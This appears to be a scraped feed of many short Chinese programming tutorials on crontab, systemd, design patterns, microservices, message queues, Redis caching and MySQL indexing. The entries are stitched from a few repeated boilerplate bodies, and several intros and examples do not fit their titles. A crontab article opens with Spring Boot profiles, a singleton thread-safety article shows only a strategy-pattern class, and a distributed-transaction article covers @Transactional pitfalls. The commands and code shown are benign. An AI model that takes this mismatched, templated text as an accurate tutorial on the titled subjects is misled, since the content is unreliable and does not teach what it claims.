]]> Linux 教程 Linux 教程：crontab 定时任务从配置到排查 //crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/ 教程：crontab 定时任务从配置到排查

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 教程：systemd 服务管理入门 //systemd-fu-wu-guan-li-ru-men/ 教程：systemd 服务管理入门

systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 教程：Linux 查看日志的几种方法 //linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/ 教程：Linux 查看日志的几种方法

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 教程：Linux 磁盘空间占满排查流程 //linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/ 教程：Linux 磁盘空间占满排查流程

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux 教程：责任链模式在审批和过滤器中的应用 //ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/ 教程：责任链模式在审批和过滤器中的应用

责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 教程：模板方法模式适合流程固定的业务 //mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/ 教程：模板方法模式适合流程固定的业务

模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 教程：策略模式替代大量 if else //ce-lue-mo-shi-ti-dai-da-liang-if-else/ 教程：策略模式替代大量 if else

策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 教程：工厂模式如何降低创建复杂度 //gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/ 教程：工厂模式如何降低创建复杂度

工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 教程：单例模式的线程安全写法 //dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/ 教程：单例模式的线程安全写法

单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。

先看业务味道

设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。

一个策略模式示例

public interface DiscountStrategy {
    BigDecimal calculate(BigDecimal amount);
}

public class VipDiscount implements DiscountStrategy {
    public BigDecimal calculate(BigDecimal amount) {
        return amount.multiply(new BigDecimal("0.8"));
    }
}

使用时通过类型选择策略，而不是写一大堆 if else。

判断是否值得使用

如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。

]]> 设计模式 学习笔记 设计模式 教程：接口版本管理和灰度发布思路 //jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/ 教程：接口版本管理和灰度发布思路

接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 教程：OpenFeign 调用超时和重试配置 //openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/ 教程：OpenFeign 调用超时和重试配置

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 教程：网关在微服务里承担什么职责 //wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/ 教程：网关在微服务里承担什么职责

API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 教程：服务注册发现的基本流程 //fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/ 教程：服务注册发现的基本流程

服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 微服务 架构 SpringCloud 教程：配置中心解决了什么问题 //pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/ 教程：配置中心解决了什么问题

多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 教程：限流熔断降级的区别和落地 //xian-liu-rong-duan-jiang-ji-de-qu-bie-he-luo-di/ 教程：限流熔断降级的区别和落地

限流、熔断、降级是高可用系统的三大利器。很多人分不清它们的区别和适用场景。本文讲三者的区别和落地实现，帮你在项目中正确使用。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 限流：控制入口流量，保护系统不被压垮

  2. 熔断：快速失败，防止级联故障

  3. 降级：牺牲非核心功能，保障核心服务

  4. 常用的限流算法：令牌桶、漏桶、滑动窗口

总结

限流、熔断、降级常常组合使用，共同构建高可用的分布式系统。在实际项目中，根据系统特点和业务需求选择合适的策略。

]]> 分布式 分布式 架构 教程：分布式事务为什么难 //fen-bu-shi-shi-wu-wei-shi-me-nan/ 教程：分布式事务为什么难

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> 分布式 分布式 架构 教程：接口幂等性设计从业务开始 //jie-kou-mi-deng-xing-she-ji-cong-ye-wu-kai-shi/ 教程：接口幂等性设计从业务开始

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 教程：分布式 ID 生成方案怎么选 //fen-bu-shi-id-sheng-cheng-fang-an-zen-me-xuan/ 教程：分布式 ID 生成方案怎么选

教程：分布式 ID 生成方案怎么选是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 分布式 分布式 架构 教程：延迟队列的业务场景和实现思路 //yan-chi-dui-lie-de-ye-wu-chang-jing-he-shi-xian-si-lu/ 教程：延迟队列的业务场景和实现思路

延迟队列在订单超时、任务调度等场景中很实用。本文讲它的业务场景和实现思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 教程：消息丢失问题从生产到消费排查 //xiao-xi-diu-shi-wen-ti-cong-sheng-chan-dao-xiao-fei-pai-cha/ 教程：消息丢失问题从生产到消费排查

消息从生产到消费的过程中可能在多处丢失。本文讲如何排查和预防。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 教程：消息重复消费如何保证幂等 //xiao-xi-chong-fu-xiao-fei-ru-he-bao-zheng-mi-deng/ 教程：消息重复消费如何保证幂等

接口幂等性是分布式系统中必须考虑的问题。本文从业务场景出发，讲常见的实现方式。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 消息队列 架构 消息队列 教程：消息队列为什么能削峰填谷 //xiao-xi-dui-lie-wei-shi-me-neng-xue-feng-tian-gu/ 教程：消息队列为什么能削峰填谷

消息队列在削峰填谷、异步解耦中发挥关键作用。很多项目引入消息队列后遇到了消息丢失、重复消费等问题。本文讲为什么它能解决这些问题，以及项目中如何选型和避坑。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？

核心要点

  1. 消息队列的核心价值：异步处理、解耦、削峰填谷

  2. 常见的消息队列：RabbitMQ、Kafka、RocketMQ 的区别

  3. 消息丢失的原因和解决方案：生产者确认、消息持久化、消费者确认

  4. 消息重复消费的处理：幂等性设计

总结

消息队列是构建高可用系统的重要组件，但需要正确使用。在实际项目中，根据业务需求选择合适的消息队列，并做好消息可靠性保障。

]]> 消息队列 架构 消息队列 教程：Redis 大 key 和热 key 排查 //redis-da-key-he-re-key-pai-cha/ 教程：Redis 大 key 和热 key 排查

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 教程：Redis 持久化 RDB 和 AOF 怎么选 //redis-chi-jiu-hua-rdb-he-aof-zen-me-xuan/ 教程：Redis 持久化 RDB 和 AOF 怎么选

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 教程：Redis 分布式锁的正确姿势 //redis-fen-bu-shi-suo-de-zheng-que-zi-shi/ 教程：Redis 分布式锁的正确姿势

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 教程：缓存穿透击穿雪崩怎么处理 //huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/ 教程：缓存穿透击穿雪崩怎么处理

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

]]> Redis Redis 缓存 教程：Redis 常见数据结构和使用场景 //redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/ 教程：Redis 常见数据结构和使用场景

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 教程：数据库字段类型如何贴近业务 //shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/ 教程：数据库字段类型如何贴近业务

字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

